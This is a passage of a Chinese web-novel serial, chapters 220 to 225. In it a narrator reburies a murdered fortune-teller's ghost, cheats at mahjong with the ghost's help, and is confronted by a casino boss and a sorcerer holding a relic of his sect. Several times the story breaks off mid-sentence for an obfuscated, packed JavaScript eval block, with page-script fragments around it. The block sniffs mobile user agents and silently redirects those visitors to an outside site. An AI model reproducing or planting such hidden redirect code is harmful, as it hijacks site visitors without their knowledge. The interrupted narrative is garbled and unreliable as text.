赢来的钱要么就花了,要么借出去收不回来,这几年下来,马友也没发什么财。 马友的老婆不是个善茬,马友平时要么在外面给人看相摸骨,要么就是喝酒赌钱,一天到晚不回家,他老婆在家里耐不住寂寞,又嫌弃马友赚不到钱,日子一久,反正就有些风言风语传了出来。 马友听说了之后,自然不会善罢甘休,但他老婆矢口否认,两个人为了这个不知道大吵大闹了多少次。 “我……我死的惨啊……” 马友说到这里的时候,言语中就带着怨恨和落寞。 有一天,马友打完牌又喝了酒,直到后半夜才醉醺醺的朝家里走。当他走到县城附近一条已经干涸的河沟时,冷不防有人从后面突然把他给推了下去。 马友虽然喝的过量,但还没有醉的不省人事,在他从河沟翻落下去的那一瞬间,就看到把自己推下河沟的,是一个叫王先的人。 这个王先,也算是马友平时赌钱的一个牌友,马友的老婆那些风言风语里的男人,就是这个王先。马友知道这些事情之后,跟王先大闹了一场,还动手把王先给打了。从那时候开始,王先就不再跟马友一起赌钱喝酒。 马友当时完全失去了平衡,从河沟直接摔了下去,河沟干涸了许久,沟底全都是大大小小的鹅卵石,马友头下脚上的摔下来,脑瓜子都摔裂了。 第二天,马友的尸体被人发现,通过一番查验和分析,就判断他是醉酒以后自己不留神摔**。 马友本身就死的冤,尤其是他死后办丧事的时候,还被自己老婆和王先做了手脚。因为马友会相面摸骨,算是有那么一点门道,为了防止马友死后作祟,王先偷偷请人,在马友的棺材上做了法。 如此一来,马友不仅枉死,而且**之后都不得安宁。幸亏他有一点手段,被封到棺材里之前,一缕魂念悄悄溜了出来。 第220章 兑现承诺 马友的魂念溜出来之后,一时间束手无策。他本身就是个相面摸骨的人,没什么太高深的道行,而且,溜出来的魂念只是一部分,还有另外一部分被封在棺材里。 马友的老婆还有那个叫王先的人,是铁了心要把马友彻底的搞死。马友的棺材没有被安葬在祖坟,王先悄悄的找了一块风水凶地,把棺材入葬。 反正,马友的状况是惨透了,我听着就感觉憋屈的慌。 “兄弟,能帮个忙不能?算我……算我求求你了……” 我犯难了,其实,按照我个人的性格,真遇到这种事情了,就想打抱不平。可如今自己的事都没有一点着落,再加上对这个马友不了解,所以就很犹豫。 “兄弟,我也不让你白帮忙,你说说,你有啥条件,咱们俩看能不能互相帮衬帮衬,可……可我现在这样子,你也看到了,要是大事,我可能真出不了什么力……” “我?”我不由自主的苦笑了一声,又回头朝着鬼市的方向看了看:“我有急事,需要在鬼市这边买点东西,但是手里没钱……” “钱?兄弟你就是需要钱?这个好说,我能想办法给你解决。” “你能解决?” 我心里猛然一动,如果马友说的事情都是真的,我帮他一把也不算难事,何况还能解决我的问题。 但静下心来想一想,我觉得还是不能太冒失,很多事情,得小心一些。 “这样,你先回去,明天晚上,我再来一趟,到时候给你回个话。” “好……好……兄弟你费心了……” 我转身继续朝县城那边走,马友果然没再跟上来。 我回去稍稍休息了一会儿,天色一亮,我就出门找了几个平时有过来往的人,跟他们打听了一下马友的事情。 马友会相面,在县城里几乎人人都知道,他**不过半年,时间还不久,所以我一打听,就问出了个大概。 马友这个人还是不错的,比较大方,就是有点不务正业。和马友自己说的一样,除了平时白天帮人看看相,每天一收工就去打牌喝酒。 我连着问了几个人,对方都说,马友的人品还可以,只是玩物丧志,家里日子也过不好。马友在河沟那边摔死的事情,县城里几乎也是人尽皆知。 不过,没有人怀疑过什么,因为马友平时就是喜欢喝酒,醉酒的人出了什么意外,也找不出怀疑的理由。 等打听清楚这些,至少我就放心了,马友不是挖坑骗我就行。 到了傍晚时分,我又离开县城,到了和马友约定的地点,他已经等候多时了。 “兄弟,你考虑的咋样?” “我想了想,路见不平拔刀相助,这也没什么大不了的,只当是做个善事。” “谢谢……谢谢兄弟……” “话先说到前头,我仗义,你就不能不敞亮,你答应我,事情办完了,给我解决些钱。” “放心,兄弟你放心,我一定解决,决不食言。” 和马友商量好了之后,他立刻就带着我,到了县城北边的一片荒地。马友的棺材,就被埋在了附近。 来到坟地跟前的时候,我没有看见坟头,王先就是为了算计马友,马友的棺材被埋下去以后,立刻填土推平,从外面看,根本就看不出这下头埋着人。 我大概看了两眼,那个王先应该是请教过高人的,在马友棺材的附近,专门挖了一条沟,然后从中截断,又压上去一个小土包,彻底破了此处的风水,变成了一块不祥的凶地。 我把地面的土给挖开,现在浑身上下都是力气,铁锹上下翻飞,挖的很快。一直挖到六尺多深的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786124|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,还是没有看到马友的棺材。 又挖下去了两尺多,铁锹当的一声,在土层里挖到了什么东西,清理掉周围的浮土之后,我看到那是棺材的棺盖。 那个叫王先的人,的确够狠毒的,马友都**,他还是把棺材埋到了这么深的地方。 而且,这口棺材也是特制的,槐木棺材板,铁皮棺盖,那意思就是把人埋进来以后,人就得彻底烂到这儿。 我琢磨了一下,用力打开棺盖,把马友的尸体给弄了出来,他**有半年多了,尸体烂的一团糟,那股气味直冲天灵盖。 接下来,我又用了一白天的时间,拿自己攒下来的那点钱,重新买了口棺材,等到入夜,悄悄来到马友家的祖坟,专门找了个不太起眼的地方,把马友的尸体装殓入棺,然后埋到了祖坟里。 等这一切做完,我算是松了口气,马友忙不迭的道谢。现在,马友被封在棺材里的残余的魂念全都释放了出来,但是,他生前没有多大的道行,现在就剩下一缕残魂,也无法找王先去报仇。 “算了,尘归尘土归土,前世的事情,我也不愿意再去计较,总归都是自己的命不好,兄弟,你只管放心,我也不会叫你帮我去找王先的麻烦,你还年轻,犯不上在黄县这里惹什么麻烦。” “你想得开就好,另外,事情已经替你办妥了,你看是不是把先前的承诺兑现一下?” “兄弟你放心,我说话算数,你需要的钱,我肯定会替你想办法,你需要多少?” “我需要的药材很罕见,价钱也贵的要死,得两万块钱。” “两万块钱……的确不是个小数目,这样,明天晚上,你到县城南边的华岳山庄门外等我,我带你去取钱,但是两万块钱有点多,一次估计取不完,每天取个几千块,大概三四天也就取齐了。” 第221章 生财有道 我听到马友的话,心里踏实了一点,整整一天没有合眼,困的要死,和他商定了确切的时间和地点后,我就匆匆返回了县城。 走在路上的时候,我才开始认真的琢磨。马友已经挂了半年了,如今就剩下魂念,他叫我到华岳山庄,难道他生前在那边藏的有钱? 这个事情怎么想,都有点不对路,但是马友应该不会骗我,反正已经商量好了,明天准时赴约就行。 我回去之后好好的睡了一觉,下午两点多钟才起床,闲着没事,我就到药材市场那边转了一圈,看看有没有什么新的发现。 我去田新农的店铺那边喝茶,顺便和他聊了聊。市场这边的药草,基本上都是做批发销售的,偶尔有什么老药,也绝对比不上我在鬼市里看到的那株罕见的人参。 “还是那句话,人得病不是一天两天就得的,治病也不是一天两天就可以治好,你也不用急,慢慢的碰碰运气。” “我明白这个道理,田大爷,问你个事,县城南边的华岳山庄,那是个什么地方?” “华岳山庄啊,那可不是咱们这种老百姓能去的。” “啥意思?” “那地方,是个销金窟。” 黄县这边来来往往的都是做生意的药商,这些人有钱,出门在外都图个享受,**个一二百年,县城里到处都是酒楼赌档青楼之类的,有些大商人一时兴起,一晚上一掷千金的情况屡见不鲜。 后来兵荒马乱,再加上环境受限,这些吃喝玩乐的地方全都销声匿迹。直到前几年环境好转,有人在县城南边租了以前一个大地主的庄子,翻新修成了现在的华岳山庄。 山庄就是供那些做生意的还有县城里的有钱人消遣的,像那种平时起早贪黑赚钱养家糊口的人,肯定不会到那种地方去。田新农一直住在这边,连山庄的门都没进去过。 和田新农聊了半下午,傍晚时分,我随便吃了点东西,然后就一路步行到了县城南边。 华灯初上,我能看到山庄里面有两栋二层的小楼,都已经亮起了灯。来来往往的人络绎不绝,我躲在一旁等了三四十分钟,就看到至少好几拨人进了大门。 这些人里面有外地的商人,还有本地的老板,其中不乏满脸横肉流里流气的混混,反正各色人等鱼龙混杂。 我到现在都搞不明白,马友究竟是要怎么从山庄里取钱,无奈之下只能耐心的等。 我在外头足足等了有差不多两个小时,一直到晚上快十一点钟,马友才到。 “兄弟,我来的迟了点,但现在这个时间算是刚刚好。” “没事,咱们接下来怎么办?到山庄里面去?” “对,去里头,不过吧,有些话得说到前头。初来乍到,头一次取钱取的太多,可能不合适,悠着点,先取个两三千块钱,到了明后天再多取一些,反正四五天时间,把你需要的钱取够。” “四五天时间不要紧,我还是想问一句,你在这里头存的有钱?” “没有,我活着的时候一直都是挣多少花多少,咋可能存钱。” “那……” “咱们是到牌桌上取钱。” 我一听,脑袋就大了一圈,一直到这时候,我才真正明白马友的意思。 山庄里头除了能吃喝玩乐之外,还能赌钱,后面那栋小楼的二楼,专门有几个屋子,用来赌钱。马友活着的时候,隔三差五会到这里来跟人搓两手。 “不行不行。”我立刻摇了摇头,从小到大,我一次钱都没有赌过,对这些一窍不通。 “有我在呢,你怕啥,兄弟,我就附到你身上,到时候我叫你怎么玩,你就怎么玩,保管只赢不输。” 一时间,我有点骑虎难下了,赌钱这种事情,我肯定不愿意干,但现在出了这个,我实在想不出来,还有什么办法能短时间内凑够那么多钱。 “兄弟,你只管放心,我现在和以前不一样了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786125|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们手里有什么牌,我都能看得到,你身上只要有一点本钱就行。” 我虽然不赌钱,但是相关的故事,以前也是听过的。有些人去赌钱,运气似乎一直都很好,每次都能赢,时间久了,别人肯定怀疑他出千,只不过把全身上下都搜遍,也找不出什么证据。 而且,几个人站在他身后看,也看不出破绽,人家就是规规矩矩的玩。 像这样的人,就是传说中带财神入场的。所谓的财神,其实就是专门用来赌钱的鬼。 我左思右想,已经到了这种地步了,没有选择的余地,我不是靠赌钱生活的,只是应急而已。就算马友真的失手,我身上也就是刚刚攒下来的那么一二百块钱,输了也就输了。 打定主意之后,我进了山庄,平时到山庄来的,很多都是外地的商人,也没人在意我是从哪儿来的。马友附在我身上,一路指点着就来到了后面那栋小楼的二楼。 我虽然有了心理准备,但不免紧张,身上就这么点本钱,要是走了背运,坐下来一把就输出去了。 马友叫我跟三个人组了一桌麻将,在这里玩的人很多,也没人注意到我。 麻将这玩意儿,我平生还是头一次玩,根本搞不明白是怎么回事。好在还有马友,他能把四家的牌全都看到,在马友暗中的指挥下,头一把就胡了牌。 我们两个就这样配合,在这里玩了一个多小时,有马友帮衬着,我肯定是赢的多,输的少,我偷偷看了看装钱的抽屉,估摸着得有两千块钱上下了。 马友活着的时候,打牌就有瘾,这时候更是乐不可支,赖着不想走。但是我心里有数,凡事不能做的太过,还是要讲究个细水长流。 我心里一盘算好,很快就起身离场,等出了山庄的门,仔细数了数,赢来的钱果然不多不少整整两千。 我心里不免有些激动,只要不贪心,按照这个速度,最多也就是一个多星期,能凑够买下那支人参的钱。 第222章 笑面虎 我满心欢喜,觉得找到这么一条生财之道,希望就大了很多。马友生前就嗜赌如命,这一次也算是过了瘾,同样兴高采烈。 我们俩就在山庄这边分开,约定明天晚上再来。 有了这个门道,我暂时也顾不上去帮人家料理丧事了。第二天入夜,我又和马友一起来到华岳山庄,不出所料,在我们默契的配合下,依然顺风顺水,坐下来不到一个小时,又是一千块进账。 “小兄弟,面生的很啊,手气倒是真的好。” 我本来想要乘胜追击,在牌桌上大杀四方,但是跟我同桌的人输了钱,又看我是个生人,说话的语气酸溜溜的,还带着一丝隐隐的愤恨。 就是对方这句轻飘飘的话,让我猛然打了个冷战。我无依无靠的,在这种地方最要紧的就是不能张扬,也不能把事情做的太绝。老话说的好,酒越喝越厚,钱越赌越薄,牌桌上的赌徒要是输急了眼,什么情况都可能发生。 我立刻改变了先前的主意,又玩了几把,赢的钱能有一千多块的时候立刻起身离场。马友觉得不过瘾,我就劝了劝他。 后面的几天时间里,我每天都来,但死死的掌握着分寸,不会赢的太多。这几天中间,我自己也大概摸透了玩法,我悄悄的尝试过,自己如果微微闭上眼睛,额头上那个已经差不多愈合的伤口,仍旧能感应到牌桌上其他三家手里的牌。 七八天之后,我手里头已经有了一万多块的存款,如果中间不出什么意外的话,再过两三天,钱就能凑够了。 这天晚上,我和先前一样,到了二楼的赌档,又坐到平时常玩的那张牌桌上,已经玩了七八天了,和其他三个同桌赌钱的人,也大概算是脸熟。 但是这一次一坐下来,我就觉得气氛有点不对。这三个人跟我玩了几天,都是输家,每次我一到,他们就火烧火燎的摆牌开局,等着翻本。 可我坐下来之后,三个人连动都没动,不约而同的盯着我。我被看的有点心虚,又觉得情况不正常。说来也是,我在这地方玩了几天,每次都是大胜而归,时间久了,别人肯定会起疑心。 “怎么,你们今天不打算玩了?那我就先告辞了。” 我正打算站起身,冷不防有人在背后轻轻按住了我的肩膀。 “兄弟这么好的手气,怎么说走就走呢?” 我回头看了一眼,身后的人是个四十多岁的中年人,矮个子,长的圆滚滚的,一张胖脸看着慈眉善目。 我在这里混了好几天,再加上马友还会给我暗中介绍,大概情况基本都已经了解了。这个圆脸胖男人是华岳山庄最大的一个股东,叫做孙虎,别人当面都称呼他虎哥,很多人背地里却喊他笑面虎。 孙虎在黄县和周边一些地方很有势力,手底下养着一帮人,只要是能赚钱的生意,他都会插一脚,路子很野,做的买卖大部分也都是不见光的买卖。 这人看上去和谁说话都是笑眯眯的,但是个面善心黑的角色,如果真的得罪了他,下场会很惨。 “今天没人玩,我就先走了。” “怎么会没人玩?这里头人多着呢。”孙虎嘴角带着一丝人畜无害的微笑,很温和的说道:“兄弟前几天才来我们这里的,我的事情多,没顾得上招呼,今儿个恰好是个机会,他们不和你玩,我陪你。” “我这儿还有点事……” “刚才不说有事,这会儿怎么又有事了?兄弟难道连这么点小小的面子都不肯给?” 孙虎脸上仍然挂着笑,但是手上加了力气,推了我一把。这里是他的地盘,我也不敢冒然动手,只能先被他带到了旁边一个小小的单间里头。 单间里有一张牌桌,已经坐了两个人,其中有个中年人,是平时在山庄里帮着孙虎管事的,这个人我见了几次,人很精明,但也算不上什么人物。 但是,另外一个人,却让我心底深处感觉有点不舒服。 那是个骨瘦如柴的老头儿,应该有七十岁上下的年纪了,穿着一身黑布褂子,托着一只烟斗在慢慢的抽。 我也算是见过一些世面的人,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790348|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中不乏三教九流里面的狠角色。可是一看见这个陌生的黑衣老头,我浑身上下不自在。老头儿的长相很普通,丢到人堆儿里就找不见了,可是,老头儿的眼睛,却像是鹰眼,目光犀利,而且像是带着钩子,看人一眼,就得从人身上扯下一块肉似的。 我顿时心慌了,赌场这里的规矩,马友和我说过一些。不管任何赌场,对老千都是深恶痛绝,只要发现,结局都很惨。就因为这样,我之前几天里每次都做到见好就收,不让人怀疑。 可是,连着赢了七八天,虽然每天赢的不算太多,但加在一起,也不是个小数,再加上我是个生人,孙虎就疑心了,今天一定是专门来试探我的。 “兄弟,坐下吧,这两个都是自己人,咱们凑一桌,玩两把。” 孙虎也不管我愿意不愿意,直接把我按到了椅子上。我心里虽然有点慌,但还能保持相应的镇定。我是靠着马友**的,他就是一缕魂念,别人看不到,今天孙虎硬要我留下来,大不了就把身上这些本钱输回去。 碰到这种情况,附着在我身上的马友自然老实了,不敢有一点过分的举动。四个人连着玩了几手,我都输了,一把没胡。 “兄弟,头几天你的手气那么好,今天怎么就不行了?” “运气这东西,时有时无,不可能一直都有好运。” “恐怕不是那么回事吧?” 孙虎微微一笑,亲手把麻将牌全都重新摆好,等抓起骰子的时候,他的笑容里,就透出了一丝难以掩饰的凶煞。 “兄弟,你可别故意放水,我们这里是最讲规矩的,你故意放水让我们赢,这不合规矩,这一把牌,你要是再不胡,那我可真的不客气了。” “我可没有故意放水,都说了是运气的事。” “我不讲运气,只说规矩。”孙虎慢慢给管事的使了个眼色,管事的从身上抽出一把雪亮的杀猪刀,孙虎一抬手,当啷一声,把手里的骰子丢了出去,说道:“仍是那句话,这把牌,你要是再不胡,就留下一只手。” 第223章 隔空辩物 孙虎的话,让我暗中打了个哆嗦,他此时的意思,再明显不过了。 他肯定怀疑我在他的赌场里出老千,今天专门就是来对付我的。这一把牌,我如果不胡,会被他砍掉一只手,如果想胡牌,难上加难,因为桌上的三个人都是此道高手,要是不出千**,凭我的牌技,会输的很惨。 一旦出千,被对方给察觉,后果一样很严重。 我在紧张的思索,要是情况实在太糟糕,我就只能硬从这里闯出去。 按道理说,凭我现在的实力,闯出去应该是没太大难度的,孙虎这个地方毕竟只是赌场,替他看场子的基本上都是当地一些地痞流氓,没有什么扎手的狠角色。 然而,孙虎很显然已经有所防备,别的人我可以不放在眼里,但那个穿着黑衣的老头儿,却很让我忌惮。 “兄弟,拿牌吧。”孙虎朝我的右手瞥了一眼,说道:“这一把,一定得好好打,你还年轻,要是少一只手,那可不太好。” 孙虎不由分说,直接就让人依次抓牌,我现在还没有拿定主意,想着随机应变,把自己的牌都抓过来,正准备翻牌的时候,孙虎突然就按住了我的手:“等等。” “怎么?” 咔…… 就在这时候,我听到对面突然传来一声轻响,紧跟着,那个长着一双鹰眼的黑衣老头儿,抬手就拿出了一面镜子。 那面镜子大概有我的两个巴掌那么大,纯铜铸造,镜子边缘的镜框已经出现了厚厚的一层包浆,说明是年代久远的老东西。 这面镜子一拿出来,我就觉得心肝脾费一阵颤动,还没来得及再说什么,身躯猛然一轻,一直暗中附着在我身上的马友,似乎直接飘飞了出去。 鹰眼手中的镜子,轻轻动了一下,一瞬间,我的头皮就麻了。因为我看到镜面上,有一团正在拼死挣扎扭曲的影子,那团影子就是马友。 毫无疑问,这个鹰眼果然来路不凡,他手中那面镜子是专门收纳魂念的,马友被收到镜子里,无论怎么挣扎都无法逃脱。 “有点门道,原来是带着财神的。”孙虎嘿嘿一笑,说道:“从我这个地方开张以来,你还是头一个带着财神来的人,看着你年纪不大,还有这种手艺,真是难得。” “虎哥,还跟他说什么废话!”一旁那个管事的看见马友被收到了镜子里,起身就要动手。 “慢着,咱们做事情,都讲究以理服人,以德服人,我刚才也说了,打完这把牌,他要是不胡牌,立刻剁下他一只手。” 管事的忍着气重新坐下,鹰眼慢慢的把镜子收了起来,又看了我一眼,事到如今,我还有什么话能说?既然孙虎说了,我一定得胡牌,那就先胡了再说。 我翻开自己的牌看了一眼,牌面不算好也不算坏,我想胡牌,不**肯定不行,我点了一支烟,趁着烟雾缭绕的机会,眯着眼睛飞快的一扫视,他们三个人手中的牌,瞬间就让我看了个七七八八。 我手里的牌说的过去,再加上能看见他们手里是什么牌,就掌握了一些主动。 与此同时,我也注意到了,那个鹰眼始终在注视着我的一举一动。 我的运气还算是不错,海底捞月把牌胡了。 “你这个年轻人,有点门道啊。”孙虎此时收敛起脸上的笑容,不由自主的又打量了我一眼:“我竟然看不出来,你是怎么做的手脚。” “这把牌我胡了,你刚才说过,我胡了牌,就别再找我的麻烦。” “我们开赌场赚钱的,本身也不愿意招惹麻烦,但是你在这里出千,影响了别的客人,这笔账该怎么算?” 我本想反驳,可是马友都被鹰眼给收到那面镜子里去了,带着财神到赌场,本身就是忌讳,我一时间就不知道该怎么去解释这件事。 “我把这几天赢的钱,都退给你们。” “这可不是退钱这么简单,我们这些人难道是没事干了,专门陪着你玩的?” “我只有赢来的这些钱,再多的,就拿不出来了。” “那你今天得把身上的零件留下一个,否则的话,在我这里出千,最后不了了之,以后我就没办法再做生意了。” 孙虎为了对付我,已经做了很周全的准备,我们在屋里交涉的时候,屋子外头已经聚拢了七八个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第224章 地藏纹 我能看到,鹰眼手中的纸条上,写的是鬼眼老七这四个字。 我一下就呆住了,我从平安集那边离开的时候,七爷他们刚刚被老杂**给重创了,不知道躲到了什么地方,我当时只想着赶紧脱离七爷的监控,所以也没有多打听。 如今到了遥远的黄县,我根本就没想到,鹰眼会写出这四个字。就是这寥寥数字,却透露出了很多潜在的信息。 首先,鹰眼肯定是认识七爷的,其次,他很可能还知道我的身份,要不然,也不可能直接开门见山就亮出了七爷的名号。 我心里发慌,果不其然,这个鹰眼真的是个人物,他知道我的底细,却一直都不点破,忍到了现在。 “明人面前不说暗话,年轻人,你应该明白这个道理。” “你想说什么?我洗耳恭听。” “我和七爷有些交情,不久前,七爷那边派人到我这来,请我留意一个人。”鹰眼从口袋里掏出一张纸,抖开之后,上面画着我的画像。 我就是趁着七爷他们被老杂**给搅和一番的时候离开的,七爷当时顾不上我,等察觉我已经离开,他肯定不会善罢甘休,四处派人去查找我的下落。 “我跟他有点过节,那是我和他的事。” “你和他有什么过节,我不在乎,我和七爷是有交情,但他请我帮忙,是他的事,这个忙我帮不帮,那就是我的事了,年轻人,鬼眼老七这个人,不是善茬,我还是挺想拉你一把的。” “怎么拉我一把?” “你跑到这里的事情,我可以闭口不提,七爷要是再派人来问,我就说没发现你,他没有线索,也不可能大张旗鼓就到黄县这里来找人。” “你倒是个好心肠。” “年轻人,我问你一句话,你是地眼?” 鹰眼的话,让我心里一惊,随即就有些后悔。他让我看他手心里的纸条,其实也是在试探我。我为了脱身,没有别的选择,虽然认出了纸条上的字,却也暴露了自己。 鹰眼所说的地眼,也是人的一种罕见禀赋,地眼是从小就刻意培养的,培养的条件非常苛刻,能活下来的人凤**麟角。江湖人所说的天眼,地眼,鬼眼,其实大概都是一个意思,就是能观察到肉眼无法辨别的东西。 “我不是什么地眼,按咱们的约定,我看出你手里是什么东西了,我现在要走。” “好,我不会食言,你要走,我也不强留,不过,你要是有兴趣的话,我带你去看一件东西,等你看了之后,自己再做决定。” “看什么东西?” “现在说出来,就没有什么意思了,你只有自己亲眼看看,才能知道。” 鹰眼也不管我答应不答应,起身就走出屋子,他微微一挥手,聚拢在门外的那些人立刻就散去了。看样子,是真的没有人再来阻拦我。 鹰眼从二楼下来,径直朝着小楼的后面走去,我在楼梯这边犹豫了一下,我摸不清楚鹰眼的底细,跟他打交道,心里实在是发虚。 我起身下了楼,鹰眼也不说话,已经走到了小楼后面大概十多米的地方。我到山庄来的这几天,一直都在楼里,楼后面是什么布局,我不清楚,反正抬眼望去,漆黑一团。 我没有跟随鹰眼,转身朝着山庄的大门那边走去。鹰眼说话倒是真的算数,我一直快要走到大门的时候,依然没有人过来阻拦,我回头看了看,孙虎那帮人都留在二楼,这时候还站在窗边朝我这里看。 无形之中,鹰眼刚才所说的话,对我产生了一种莫名的吸引力,这个老东西究竟想让我看什么东西? 这种莫名的吸引力,几乎无法阻挡,我心里的好奇越来越重,不由自主的重新转过身,又朝着小楼走去。 我走到小楼的后面,还没看到鹰眼,不远处就亮起了一盏灯,那盏灯是从一个很不起眼的小屋子里亮起的,我迈步走过去,一直走到跟前,就看见鹰眼背着手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797321|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在小屋的屋门口。 “我只是叫你看一件东西,你看或不看,都不会吃什么亏。” “好,你把东西拿出来。” “来吧。” 鹰眼转身走进小屋,这屋子在一个很不起眼的角落里,屋里的摆设相当简单,甚至有些粗陋。 看的出来,这应该是鹰眼住的地方,这个老家伙很不简单,他能把孙虎那种人都控制在手里,说明他不缺钱,也不缺地位,这种什么都不缺的人,却不追求什么享受,其实是很难的。 鹰眼打开一个柜子,从里面拿出一只木盒。 “东西就在这里,你看看吧。” 鹰眼随手打开木盒,里面就露出一块形状很不规则的玩意儿。我注目望去,觉得这应该是一块碎铜。 很显然,这块碎铜是从某个铜器上面脱落下来的,碎铜上面长满了铜锈,不过已经被大致的清理过,能清晰的看到铜片上的纹饰和铭文。 我下意识的又眯起了眼睛,这一次,额头上的伤口没有感应到很具体的情景,但是,却能察觉到这块碎铜上,有一股水汽。 一件东西,只有长年累月的被泡在水中,才会出现这种洗脱不掉的水汽。 我看着碎铜上面的纹饰,觉得很眼熟,略略一分辨,就能分辨出这是白八门的“地藏纹”。 地藏纹是一种特殊的纹理,我们祖师爷晚年的时候,醉心修道,除了研读道典,还会亲手炼制一些丹药。炼丹药的铜炉,是祖师爷铸造的,上面的纹理,也是祖师爷独创。 久而久之,这种特殊的纹理就成了白八门的一种象征,白八门里的很多物件,都有地藏纹。 我只觉得自己看的还是不清楚,趁着小屋里灯光昏暗,我偷偷把眼睛紧紧闭上。 哗啦…… 在我闭上眼睛的那一瞬间,耳边好像就传来一阵淡淡的水波声。与此同时,那块碎铜上面,陡然出现了一座铜炉的影子。 第225章 一条河 我觉得自己应该不会看错,那块碎铜上面,真的有一座铜炉的影子。铜炉是用来炼丹的,上面密密麻麻全都是地藏纹。 我急忙睁开眼睛,铜炉的影子虽然消失了,但那些地藏纹,却依然留在我的脑海中。 这块碎铜,肯定不是伪造的,如果是赝品,我就不可能通过碎片,感应到那座丹炉。丹炉上的地藏纹,就是最好的证明,这一定是我们白八门祖师爷遗留的东西。 我有点吃惊,白八门的东西,一般不会外泄,尤其是当年祖师爷留下的遗物,都被妥善的保管着,那么后代子孙再怎么落魄,也不可能把这些东西拿出去卖掉。 鹰眼是从什么地方得到这块碎铜的? 事情关系到祖师爷的遗物,我就非常的上心。因为当年都传言说祖师爷是尸解成仙了,没有遗体,只有生前的遗物,所以给祖师爷修衣冠冢时,大部分遗物都陪葬了。 尤其是这种丹炉,留在后代子孙手里,没有什么用处,肯定是要陪葬的。 也就是说,这块碎铜,很可能是从祖师爷的衣冠冢里流出来的。祖师爷的衣冠冢,也是一个谜,具体在什么位置,没有人能说得清楚,时间过去这么久,衣冠冢更成了一笔糊涂账。 我不由自主的看了看鹰眼,他默不作声的坐在我对面,脸上没有任何表情。 “东西你也看到了,现在要走要留,都由你。” “这块碎铜,是从什么地方弄来的?” “我只说让你看东西,可没有说会告诉你东西的来历。” 我暗中咬了咬牙,鹰眼的确是个老油条,能掐会算,他肯定已经知道了我的身份,也料定了这块碎铜能彻底的吸引我,所以根本就不怕我离开。 这的确是我的软肋,要知道,完整的葬经终篇,最可能出现的地方,就是祖师爷的衣冠冢。 “我不勉强,你肯说就说一说,不肯说就算了。” “这天底下,可没有免费的事,你要从我这里打听消息,总得表示表示吧?” “怎么表示?” “这笔买卖,咱们一起做。”鹰眼指了指那块碎铜,说道:“我出人,你出力。” “什么意思?” “这块碎铜,是从什么地方出来的,你没有一点数吗?” “这东西水汽很重,是从水里出来的?” “好眼力,说的没错,就是从水里出来的。” 这个鹰眼和七爷一样,都是老辈的江湖人,走的路也和七爷差不多,早年间出生入死,闯出一些名头以后,就收了一帮徒弟,又聚拢了一批人,盘踞一方。 但是鹰眼和七爷不同的是,他从来不做那些收取保护费之类的勾当,挣不到多少钱,还容易惹出麻烦。鹰眼做的,基本还是大买卖,他最喜欢的,就是古董交易,虽然风险大了些,但收益非常可观。 这个华岳山庄,其实就是鹰眼手底下一个不起眼的小买卖。 几年前,七爷亲自找过鹰眼,希望双方合作,为了勾起鹰眼的兴趣,七爷抛出了一些猛料。他说,这笔买卖,和白八门的祖师爷有关。 鹰眼是很动心的,这么多年,白八门的事情也流传到了外头。祖师爷的衣冠冢里,很可能有海量的陪葬,鹰眼当时没有任**息,虽然想吃独食,但不得不和七爷合作。 等他们合作了两年,鹰眼就很下气,因为七爷只是知道一些线索,却没有详细的位置,他们需要一边破解线索,一边寻找。而且在合作的过程中,鹰眼发现七爷上了年纪,本事比先前退步了很多。 